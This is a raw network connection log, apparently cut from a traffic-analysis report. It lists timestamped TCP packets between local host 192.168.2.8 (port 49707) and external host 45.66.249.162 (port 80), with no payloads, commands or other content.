Oct 11, 2024 22:32:33.963016033 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.427961111 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.428035975 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.428040981 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.428073883 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.428087950 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.428092957 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.428112984 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.428118944 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.428122044 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.428138971 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.428157091 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.428164005 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.428178072 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.428179979 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.428204060 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.428206921 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.428224087 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.428242922 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.428251028 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.428267956 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.428288937 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.516334057 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.516415119 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.582577944 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.582612991 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.582638025 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.582650900 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.582664013 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.582678080 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.582695007 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.582704067 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.582705975 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.582721949 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.582736015 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.582745075 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.582756996 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.582761049 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.582772017 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.582786083 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.582792044 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.582801104 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.582804918 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.582823038 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.582828999 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.582837105 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.582854986 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.582854986 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.582868099 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.582880020 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.582885981 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.582901001 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.582902908 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.582918882 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.582930088 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.582931995 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.582950115 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.582950115 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.582966089 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.582976103 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.582989931 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.583008051 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.736027956 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.736051083 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.736074924 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.736098051 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.736109018 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.736129999 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.736136913 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.736161947 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.736181021 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.736205101 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.736211061 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.736223936 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.736249924 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.736251116 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.736262083 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.736274958 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.736284971 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.736284971 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.736308098 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.736315966 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.736327887 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.736327887 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.736351967 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.736352921 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.736368895 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.736372948 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.736392021 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.736412048 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.736423016 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.736447096 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.736459970 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.736459970 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.736479998 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.736488104 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.736501932 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.736501932 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.736525059 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.736526966 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.736531973 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.736538887 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.736560106 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.736562014 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.736577034 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.736577988 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.736594915 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.736597061 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.736607075 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.736612082 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.736629963 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.736630917 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.736649990 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.736655951 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.737004995 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.737029076 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.737042904 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.737046003 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.737067938 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.737081051 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.737133026 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.737144947 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.737164974 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.737171888 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.737174988 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.737190962 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.737196922 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.737209082 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.737210989 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.737234116 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.737252951 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.737258911 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.737263918 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.737282038 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.737291098 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.737292051 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.737313986 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.737318993 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.737332106 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.737344980 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.737359047 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.737376928 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.737380028 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.737390995 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.737409115 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.737418890 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.737421036 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.737436056 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.737447023 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.737456083 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.737462044 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.737473011 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.737479925 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.737490892 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.737495899 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.737507105 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.737510920 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.737526894 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.737535954 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.737544060 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.737560987 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.890117884 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.890156031 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.890187025 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.890201092 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.890214920 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.890234947 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.890255928 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.890265942 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.890275955 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.890288115 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.890302896 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.890321016 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.890324116 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.890340090 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.890341997 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.890360117 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.890386105 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.890389919 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.890402079 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.890422106 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.890425920 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.890439034 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.890436888 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.890454054 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.890464067 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.890470028 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.890472889 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.890491962 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.890501976 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.890507936 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.890512943 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.890531063 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.890535116 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.890544891 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.890552044 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.890563965 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.890568018 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.890578985 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.890585899 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.890599966 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.890604019 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.890618086 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.890619993 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.890631914 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.890638113 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.890654087 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.890659094 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.890671015 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.890674114 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.890690088 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.890691996 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.890710115 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.890724897 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.891168118 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.891205072 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.891236067 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.891247034 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.891272068 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.891283035 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.891285896 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.891294003 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.891314030 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.891314030 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.891325951 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.891331911 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.891345024 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.891346931 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.891361952 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.891376019 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.891463995 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.891484976 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.891495943 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.891498089 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.891510010 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.891521931 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.891526937 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.891535044 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.891551971 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.891556025 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.891566038 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.891572952 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.891587973 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.891588926 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.891603947 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.891604900 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.891618967 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.891617060 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.891635895 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.891639948 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.891653061 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.891654968 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.891674042 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.891690016 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.891769886 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.891779900 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.891798019 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.891804934 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.891819954 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.891834974 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.891902924 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.891912937 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.891927958 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.891938925 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.891942024 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.891957045 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.891957045 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.891978025 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.891992092 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.891992092 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.892004013 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.892019987 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.892024040 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.892036915 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.892040968 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.892056942 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.892066002 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.892074108 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.892096996 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.892107010 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.892117977 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.892138958 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.892158985 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.892174959 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.892189026 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.892204046 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.892204046 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.892219067 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.892220974 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.892240047 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.892255068 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.892574072 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.892585039 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.892601967 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.892611027 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.892611980 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.892633915 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.892637968 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.892642975 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.892664909 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.892688990 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.892695904 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.892728090 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.892764091 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.892774105 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.892791033 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.892796040 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.892817020 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.893013954 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.893024921 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.893039942 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.893047094 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.893049002 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.893059015 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.893074036 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.893081903 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.893093109 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.893093109 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.893111944 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.893111944 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.893129110 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.893130064 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.893143892 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.893162012 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.893318892 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.893330097 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.893348932 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.893352032 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.893368959 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.893384933 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.893399000 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.893409014 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.893425941 CEST	80	49707	45.66.249.162	192.168.2.8
